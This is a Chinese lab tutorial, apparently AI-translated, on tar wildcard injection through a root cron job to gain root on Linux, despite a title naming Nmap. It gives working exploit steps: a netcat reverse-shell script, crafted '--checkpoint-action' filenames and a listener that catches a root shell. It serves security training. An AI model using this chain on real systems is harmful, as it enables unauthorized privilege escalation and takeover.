在 Nmap 中执行通配符注入以提升权限

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,我们将学习通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。具体来说,我们将探讨广泛使用的 tar 命令中的通配符注入原理,并通过结合 crontab 工具利用此漏洞来获取 root 权限,进行实际操作练习。


Skills Graph

理解通配符

首先,让我们了解什么是通配符以及它们在 Linux shell 中的工作原理。通配符是特殊字符或字符序列,可用于表示或匹配一组文件名或路径。

以下是一些常见的通配符:

  • *(星号)匹配文件名或路径中的任意数量的字符(包括零个字符)。
  • ?(问号)匹配任意单个字符。
  • [](方括号)匹配方括号内指定的字符集中的任意单个字符。
  • ~(波浪号)表示当前用户的主目录,如果后面跟有用户名,则表示其他用户的主目录。

在权限提升的上下文中,*- 通配符经常被使用。让我们首先探索 shell 如何解释 - 字符。

  1. 打开终端并导航到 /home/labex/project 目录:

    cd /home/labex/project
  2. 当前目录中有一个名为 --help 的文件。尝试思考并实验如何查看此文件的内容。

    如果你使用 cat --help 命令,你会得到 cat 命令的帮助信息,而不是查看 --help 文件的内容。

    同样,如果你使用 vim --help,你会看到 vim 命令的帮助信息。

    这是因为 Linux shell 将 - 解释为命令参数。

  3. 要查看 --help 文件的内容,你需要避免以 - 开头的文件名。你可以使用:

    cat /home/labex/project/--help

    这样,shell 就不会将 --help 解释为参数,你就可以查看文件的内容了。

  4. 现在,让我们用你选择的任何编辑器更改 --help 文件的内容。例如,你可以使用 nano

    nano /home/labex/project/--help

    删除现有内容,并在文件中添加以下文本:

    I can read the file

    保存并退出 nano。

shell 的这种行为正是通配符注入所利用的。

通配符注入通常与 cron 任务结合使用,因此让我们探索一个涉及 tar 命令的真实示例。

Crontab Tar 通配符注入

为了理解通配符注入如何导致权限提升,我们将通过一个涉及 tar 命令和 crontab 的实际操作练习来进行演示。

  1. 首先,通过运行以下命令初始化实验环境:

    导航到 /home/labex/project 目录:

    cd /home/labex/project

    运行设置脚本以初始化实验环境:

    ./env_setup.sh

    初始化后,你将切换到 user001 用户(模拟攻击者已获得初始 shell 访问权限)。

  2. 然后,检查 crontab 中的计划任务:

    cat /etc/crontab

    预期输出:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *

    你应该会看到一个每分钟运行一次的任务,该任务将 /var/www/html/ 目录的内容归档到一个压缩文件 /var/backups/html.tgz 中。

  3. 接下来,查看 /var/www/html 目录中的文件:

    ls /var/www/html

    为了利用通配符注入漏洞,我们需要在 /var/www/html/ 目录中创建以下三个文件。

    首先,导航到 /var/www/html 目录:

    cd /var/www/html/
    • shell.sh,内容为执行反向 shell 的命令:

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
    • 一个名为 --checkpoint-action=exec=sh shell.sh 的文件(注意文件名中的空格):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
    • 一个名为 --checkpoint=1 的文件:

      echo "" > --checkpoint=1

    创建这些文件后,/var/www/html/ 目录应如下所示:

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
  4. 当 cron 任务执行以下命令时:

    tar -zcf /var/backups/html.tgz /var/www/html/*

    它将被解释为:

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

    以下是参数的含义:

    • --checkpoint--checkpoint-action 通常一起使用。前者设置检查点,后者指定在达到检查点时执行的操作。
    • --checkpoint-action=exec=sh shell.sh 表示在达到检查点时,将执行 shell.sh 脚本。

    因此,每当 cron 任务运行时,shell.sh 脚本将被执行,这将反向 shell /bin/bash 到本地端口 4444。

  5. 在当前 shell 中设置一个监听本地端口 4444 的监听器:

    nc -lnvp 4444

    稍等片刻,当 cron 任务执行时,我们应该会收到具有 root 权限的反向 shell:

    预期输出:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226

    尝试在 /root 目录中创建一个文件 success.txt,以确认你具有 root 权限:

    touch /root/success.txt

    如果你可以创建文件而没有任何权限错误,那么你已经成功地利用通配符注入提升了权限。

这种 tar + crontab 权限提升技术有两个重要的限制:

  1. html 目录需要为“其他”用户提供写(w)权限,以便我们可以在该目录中创建 shell.sh 和其他文件。

  2. crontab 中的 tar 命令不应包含绝对路径。例如,如果 crontab 条目如下所示:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

    通配符注入将失败,因为 shell 会将命令解释为:

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

    在这种情况下,/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.sh 不会被解释为 tar 命令参数,注入将失败。

总结

在本实验中,我们学习了通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。我们探讨了广泛使用的 tar 命令中的通配符注入原理,并通过结合 crontab 工具利用此漏洞来获取 root 权限,进行了实际操作练习。通过本实验,我们获得了理解和利用真实世界权限提升漏洞的实践经验,这对于任何安全专业人员或系统管理员来说都是一项必备技能。